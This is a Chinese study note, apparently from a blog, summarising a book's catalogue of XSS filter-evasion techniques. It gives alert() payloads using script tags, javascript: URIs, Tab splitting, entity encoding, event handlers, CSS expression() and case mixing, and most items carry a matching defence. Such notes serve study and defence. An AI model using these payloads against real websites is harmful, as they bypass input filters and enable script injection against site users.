参考:邱永华《XSS跨站脚本攻击剖析与防御》

一 绕过XSS-filter

1.利用<>标记注射Html/JavaScript
比如:<script>alert('XSS');</script>
防御:过滤和转义“<>”或<script>等字符

2.利用HTML标签属性执行XSS
比如:<img src=“javascript:alert('XSS');”>
防御:过滤JavaScript、VBScript等关键字

3.利用空格回车Tab绕过XSS Filter的黑名单限制
比如:<img src=“javas cript:alert(/XSS/)” width=100> (注意javas和cript之间的间隔是由Tab键添加的)

4.对标签属性值转码
比如:将<img src=“javascript:alert('XSS');”>替换成<img src=“javascrip&#116&#58alert(/XSS/);”>
其中t的ASCII码为116,用&#116表示,:则表示为&#58
防御:过滤&#\等字符

5.产生自己的事件
<input type="button" value="clickme" onclick="alert('clickme')">
<img src="#" onerror=alert(/xss/)>

6.利用CSS跨站剖析
示例1:
<div style="background-image:url(javascript:alert('XSS'))">
<style>
body {background-image:url("javascript:alert('XSS')");}
</style>
防御:过滤<style>标签,同时对style属性的值进行过滤
示例2:
<img src="#" style="XSS:expression(alert('XSS'));">
此外,CSS样式表还可以直接从其他文件进行引用,比如使用<link>标签引用或者使用@import将其导入。
防御:对样式表中的expression、javascript、import等敏感字符机芯过滤。

7.扰乱过滤规则
比如转换大小写、大小写混淆、双引号改为单引号或者不使用引号、插入/**/或者\或者\0等混淆字符(因为这些字符会被浏览器忽略)欺骗过滤器、将CSS中的关键字进行转码等。

二 利用字符编码

比如unicode、escapes、十六进制、八进制等编码形式
或者使用其他编码/加密技术——JScript Encode和VBScript Encode。

三 拆分跨站法

核心:将跨站代码分成几个片段,然后再使用某种方式将其拼接在一起执行

XSS构造剖析的更多相关文章

  1. 《xss跨站脚本剖析与防御》实验笔记

    1.书籍<xss跨站脚本剖析与防御>上介绍的xss测试代码 <img src="javascrpt:alert('xss');">, <table b ...

  2. XSS 跨站脚本攻击之构造剖析(一)

    1.XSS-Filter:跨站脚本过滤器,用于分析用户提交的输入,并消除潜在的跨站脚本攻击 (1)XSS Filter实际上是一段精心编写的过滤函数作用是过滤XSS跨站脚本代码: (2)绕过XSS F ...

  3. XSS 跨站脚本攻击之构造剖析(二)

    1.利用字符编码 (1)字符编码在跨站脚本中经常运用到,透过这种技巧,不仅能让XSS代码绕过服务端的过滤,还能更好的隐藏ShellCode (2)使用一个XSS编码工具,以便对字符串进行十进制和十六进 ...

  4. xss概念剖析

    XSS又叫CSS (Cross-Site Scripting) ,跨站脚本攻击.恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意 ...

  5. XSS构造技巧

    利用字符编码: 百度曾经出过一个XSS漏洞,在一个<script>标签中输出一个变量,其中转义了双引号: var redirectUrl="\";alert(/XSS/ ...

  6. xss构造--如何使用xss语句

    XSS的构造 1.利用[<>]构造html/js 如[<script>alert(/xss/)</script>] 2.伪协议 使用javascript:伪协议来构 ...

  7. Vue中的Xss构造

    首发tools:https://www.t00ls.net/thread-59512-1-1.html 存储型XSS 最近做测试的时候碰到了一个前端页面使用了Vue框架的项目 在测试XSS漏洞的过程中 ...

  8. XSS的构造技巧

    XSS的构造技巧 By:Mirror王宇阳 E-mail:2821319009@qq.com 本文为长期持续维护,一旦遇到新的技术技巧将及时更新本文内容 非常的欢迎技术大佬纠正并补充,也欢迎技术同僚讨 ...

  9. XSS初探

    1 什么是XSS跨站脚本 跨站脚本是一种经常出现在Web应用程序中的计算机安全漏洞,是由于Web应用程序对用户输入过滤不足而产生的.攻击者利用网站漏洞把恶意的脚本代码注入到网页之中,当其他用户浏览这些 ...

随机推荐

  1. Mac-常用命令与快捷键

    阅读更多 1.1 brew 格式: brew install <software> brew uninstall <software> brew update <soft ...

  2. 两种HTTP请求方法:GET和POST的区别

    之前在一些开发者平台使用网页调用API时,一再提到两种请求方法GET和POST,所以就去了解了下.那么这又不得不提到HTTP了! 一.什么是 HTTP? 超文本传输协议(HTTP)的设计目的是保证客户 ...

  3. objectarx 得到有宽度的多段的轮廓

    使用到的命令是:_.wmfout和_.import以及PEdit步骤:1.先通过_.wmfout和_.import得到轮廓线,得到的轮廓线是一个块.方法如下: //ssname:选择的有宽度的多段线 ...

  4. java基础知识点补充---二维数组

    #java基础知识点补充---二维数组 首先定义一个二维数组 int[][] ns={ {1,2,3,4}, {5,6,7,8}, {9,10,11,12}, {13,14,15,16} }; 实现遍 ...

  5. Web中间件常见漏洞总结

    一.IIS中间组件: 1.PUT漏洞 2.短文件名猜解 3.远程代码执行 4.解析漏洞 二.Apache中间组件: 1.解析漏洞 2.目录遍历 三.Nginx中间组件: 1.文件解析 2.目录遍历 3 ...

  6. hive、Hbase、mysql的区别

    1.Hive和HBase的区别 1)hive是sql语言,通过数据库的方式来操作hdfs文件系统,为了简化编程,底层计算方式为mapreduce. 2)hive是面向行存储的数据库. 3)Hive本身 ...

  7. angularV4+学习笔记

    angular学习笔记之组件篇 1注解 1.1组件注解 @Component注解,对组件进行配置. 1.1.1注解@Component的元数据 selector template/templateUr ...

  8. JS基础入门篇(二十)—事件对象以及案例(二)

    案例一.点击按钮,选中input中的全部内容 select()方法:选中全部. 点击按钮选中输入框中的内容!!!! <!DOCTYPE html> <html lang=" ...

  9. 使用MySQL练习增删改查时因为版本问题出现连接错误

    使用MySQL练习增删改查时出现连接错误,错误提示如下: 2020-02-19 19:53:51.088 ERROR 16328 --- [reate-249798694] com.alibaba.d ...

  10. JZOJ 1492. 烤饼干

    1492. 烤饼干 (Standard IO) Description NOIP烤饼干时两面都要烤,而且一次可以烤R(1<=R<=10)行C(1<=C<=10000)列个饼干, ...